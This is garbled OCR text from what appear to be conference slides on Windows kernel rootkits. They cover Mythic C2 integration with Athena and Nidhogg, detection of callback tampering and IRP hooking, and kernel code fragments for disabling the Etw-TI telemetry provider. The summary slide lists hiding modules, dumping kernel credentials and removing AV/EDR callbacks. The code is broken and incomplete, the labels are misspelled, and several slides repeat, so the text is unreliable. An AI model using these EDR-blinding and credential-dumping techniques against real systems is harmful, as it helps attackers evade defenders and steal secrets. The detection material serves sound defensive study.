The thread '[Thread Destroyed]' (6572) has exited with code @ (@x@).

Output

110/0a 22 §§ maina @ Athena = [y
g 9:49:24 AM ¥a
_N L? % B ~ @ § QD apspoze B G4

imU®Ovea

C2 Integration







s B

Scan periodically for  Be loaded as early as  Find the odd callbacks
specific kernel object possible In the prone to
modifications malicious activity drivers

Detecting Rootkits



& What is Etw-TI

X />

ETW provider that Specific syscall Heavily used by EDRs
gives insights on monitoring for and AVs for telemetry
security related events  security vendors

Detecting Rootkits



r h

&ett?ng the address of
KeInsertQueuedPC" as an
e_n‘tr‘y point

& Tampering Etw-TI

~ ™

Find the Etw~TI handle
using b?naﬁ/ search

_ J

a N

Depe_nds on the Windows

-

Copy either O or oﬁg}nal

version, acquire homc“e_ lock

_ J

VOJue Jepends on the
IsEnabled feld

NTSTATUS EnableDisableEtwTI(bool
STATUS = STATUS_SUCCESS
_PUSH_LOCK

ULONG I

SIZE_T

SIZE_T

UNICODE_STRING 1 = RTL_CONSTANT_STRING(L"KeInsertQueueApc");

PVOID | - (&

| )
S_NOT_FOUND;

= (PLONG) ( (PUCHAR )&k
=N
|
» (ULONG)

) {
=

PLONG) ( (PUCHAR )&

, (ULONG)

(! )
return STATUS_NOT_FOUND;
}
PUCHAR = (PUCHAR)
ind - | .
ULONG r =

rl == (ULONG)STATUS_UNSUCCESSFUL)
n STATUS_UNSUCCESSFUL ;

PTRACE_ENABLE_INFO | Provi I = (PTRACE_ENABLE_INFO){(
11 + F )5
ULONG =

'= (ULONG)STATUS

Lse {
ULONG
(
ULONG), KernelMode);

)3

T

E

, KernelMode, &
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a )

&ett?ng the address of
KeInsertQueuedPC" as an
e_n‘tr‘y point

& Tampering Etw-TI

Find the Etw~TI handle

using b?naﬁ/ search

I\ J

a N

Depe_nds on the Windows

-

Copy either O or oﬁg}nal

version, acquire homc“e_ lock

_ J

VOJue Jepends on the
IsEnabled feld

\

NTSTATUS EnableDisableEtwTI(bool
NTSTATUS = STATUS_SuUCC
EX_PUSH_LOCK
ULONG I
SIZE_T
SIZE_T

UNICODE_STRING
PVOID

! | )
return STATUS_NOT_FOUND;

SIZE_T
PLONG 1 =

|
» (ULONG)

) {
=

, (ULONG)

return STATUS_NOT_FOUND;

}
PUCHAR
i o+

ULONG

n STATUS_L SSFUL;

PTRACE_ENABLE_INFO
1 +
ULONG =

ULONG

1f (NT_SUCCESS(

I

ES
= NULL;

= RTL_CONSTANT_STRING(L"KeInsertQueue

= (&

(PLONG) ( (PUCHAR )&k

PLONG) ( (PUCHAR )&

)

= (PUCHAR)

== (ULONG)STATU CESSFUL)

= (PTRACE_ENABLE_INFO)(

(
) f(ULONG), KernelMode);

sizeof(ULONG), Kernel

T
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% {
5 = | ) T NTSTATUS EnableDisableEtwTI(bool )
=z a m e r I n W [ NTSTATUS = STATUS_SUCCES
/ EX_PUSH_LOCK = NULL;
ULONG I 0

SIZE_T
SIZE_T

UNICODE_STRING 1 = RTL_CONSTANT_STRING(L"KeInsertQueue
PVOID = (&

! | )

return STATUS_NOT_FOUND;

4 x a4 \ SIZE_T =

PLONG 1 = (PLONG) ( (PUCHAR )&k

|

. &ett;ng tl‘\e O\CXAFQI'SS O‘P F:V\d ‘the Etw-TT l’\OJ\Ale_ 3 I , (ULONG)
KeInsertQueuedPC as an £ (o

e_n‘tr‘y point

usimg b?nar‘y search 2

PLONG) ( (PUCHAR )&

, (ULONG)

- J k J £ (! )

return STATUS_NOT_FOUND;
}

PUCHAR = (PUCHAR)

ULONG r =

I == (ULONG)STATU CESSFUL)
n STATUS_L SSFUL ;

[ ) a I

PTRACE_ENABLE_INFO | I I = (PTRACE_ENABLE_INFO)(
] +
ULONG =

Copy either O or oﬁg}nal
VOJue Jepends on the

IsEnabled feld

!= (ULONG)ST.

Depe_nds on the Windows
version, acquire homc“e_ lock

. J \_ J

ULONG
(
vthis , sizeof(ULONG), KernelMode);

1f (NT_SUCCESS(

I - } , Sizeof(ULONG), Kernel
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a )

&ett?ng the address of
KeInsertQueuedPC" as an
e_n‘tr‘y point

& Tampering Etw-TI

~ ™

Find the Etw~TI handle
using b?naﬁ/ search

I\ J

a N

Depe_nds on the Windows

-

Copy either O or oﬁg}nal

version, acquire homc“e_ lock

_ J

VOJue Jepends on the
IsEnabled feld

3

NTSTATUS EnableDisableEtwTI(bool
STATUS = STATUS_SUCCESS
_PUSH_LOCK

ULONG I

SIZE_T

SIZE_T

UNICODE_STRING
PVOID | - (&

| )
S_NOT_FOUND;

= (PLONG) ( (PUCHAR )&k
=N
|
» (ULONG)

) {
=

PLONG) ( (PUCHAR )&

, (ULONG)

(! )
return STATUS_NOT_FOUND;
}
PUCHAR = (PUCHAR)
ind - | .
ULONG r =

rl == (ULONG)STATUS_UNSUCCESSFUL)
n STATUS_UNSUCCESSFUL ;
PTRACE_ENABLE_INFO = (PTRACE_ENABLE_INFO){(
11 + F )5
ULONG =

'= (ULONG)STATUS

Lse {
ULONG
(
ULONG), KernelMode);

= RTL_CONSTANT_STRING(L"KeInsertQueueApc");

)3

T

E

, KernelMode, &
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& What is IRP hooking?

10101010
010,101
10 10
01 01
101010
o1010101
—
&

IRP hooking is when one driver Common hooks are
replace a IRP handler of another IRP_MJ_DEVICE_CONTROL,
one with a malicious function IRP_MJ_READ/WRITE
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Detecting IRP hooking

C:\Users\Admin\Desktop>
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» Detecting IRP hoo

( N PVOTD

PVOID

\\Driver");
ASE_INSENSITIVE, NULL, NULL);

67et Ir'\O\V\C“e to -tl‘\e ) - » ile, DIRECTORY_ALL_ACCESS, & );
directory object

, DIRECTORY_AL nelMode,

( 2VOID* )&

-
L

f (INT

{ { FULONG_FTR)&

f (POBJECT_DIRECTORY_ENTRY

Lock and iterate the e (o o -
d?r‘ec‘toﬁ./'s ;teMS ) I (PFULL_OBJECT_TYPE)

) {

= (PDRIVER_OBJECT)
= (PKLDR_DATA_TABLE_ENTRY)

£ - )y
) {
j/ Mod = (PVOID)((ULONGLONG)

If the item is
DRIVER_OBTECT and ‘
terate the IRP handlers _ e

)

))

\ﬂ/ PREFIX "Drive
VE

PREFIX "Unk| hookin

-~

If the IRP handler isn't

within the range of the

driver, find the driver's
name. and t‘epor‘t

( (PULONG_PTR)&
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? Detecting IRP h

-

Get handle to the
dhre_c‘tom/ object

\

- R

Lock and iterate the
d}rec‘ton/’s items

If the item is
DRIVER_OBTECT and
terate the IRP handlers

) lt

If the IRP handler isn't

within the range of the

driver, find the driver's
name. and t‘epor‘t

PVOID
PVOID

\\Driver");

ASE_INSENSITIVE, NULL, NULL)

, DIRECTORY_ALL_ACCESS, & Ji-

, DIRECTORY_AL nelMode,

(PVOID* )&

f (INT

( (PULONG_PTR)&

f (POBJECT_DIRECTORY_ENTRY

) {

(PFULL_OBJECT_TYPE)

) {

= (PDRIVER_OBJECT)
= (PKLDR_DATA_TABLE_ENTRY)

)y

- ) {
= (PVOID){(ULONGLONG)

[MAX_DRIVER_PATH]
((PVOID)

))

PREFIX "Drive

PREFIX "Unk| hookin

((PULONG_PTR)&
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» Detecting IRP hoo

PVOID
PVOID

\\Driver");
ASE_INSENSITIVE, NULL, NULL);

Get handle to the
dhre_c‘tom/ object

, DIRECTORY_ALL_ACCESS, & Ji-

, DIRECTORY_AL nelMode,
(PVOID* )&

\l/ f (INT

f (POBJECT_DIRECTORY_ENTRY

{ (PULONG_PTR)&

Lock and iterate the

) {

d?r‘ec‘toﬁ./'s ;teMS ) pe = (PFULL_OBJECT_TYPE)

) {

= (PDRIVER_OBJECT)
= (PKLDR_DATA_TABLE_ENTRY)

£ - )y
) {
j/ Mod = (PVOID)((ULONGLONG)

If the item is
DRIVER_OBTECT and ‘ )
terate the IRP handlers _ e

\ﬂ/ PREFIX "Drive
Ve

If the IRP handler isn't

within the range of the

driver, find the driver's
name. and t‘epor‘t

PREFIX "Unk| hookin

( (PULONG_PTR)&
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 Detecting IR

PVOID
PVOID

\\Driver");
ASE_INSENSITIVE, NULL, NULL);

Get handle to the
dhre_c‘tom/ object

, DIRECTORY_ALL_ACCESS, & Ji-

, DIRECTORY_AL nelMode,
(PVOID* )&

\l/ f (INT

f (POBJECT_DIRECTORY_ENTRY

{ (PULONG_PTR)&

Lock and iterate the . -
d?r‘ec‘toﬁ./'s ;teMS ) I (PFULL_OBJECT_TYPE)

) {
= (PDRIVER_OBJECT)
= (PKLDR_DATA_TABLE_ENTRY)

)y

- ) {
= (PVOID){(ULONGLONG)

If the item is
DRIVER_OBTECT and ‘ )
terate the IRP handlers _ e

))
PREFIX "Drive

PREFIX "Unk| hookin

[ N

If the IRP handler isn't

within the range of the

driver, find the driver's
name. and t‘epor‘t

2

( (PULONG_PTR)&
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& Summary

* Rootkit Methodologies
* Learned how to hide a loaded module

* Dumped credentials from the kernel

« Removed callbacks of AVs/EDRs

* Integration with Mythic C2
« Understood what is Mythic C2

« Saw a demo of real world usage with Athena and Nidhogg

» Detecting Rootkits
* Got an idea on how to detect kernel callbacks tampering

» Got an idea on how to detect EtwTI tampering

« Saw a demo of IRP Hooking detection

Summary






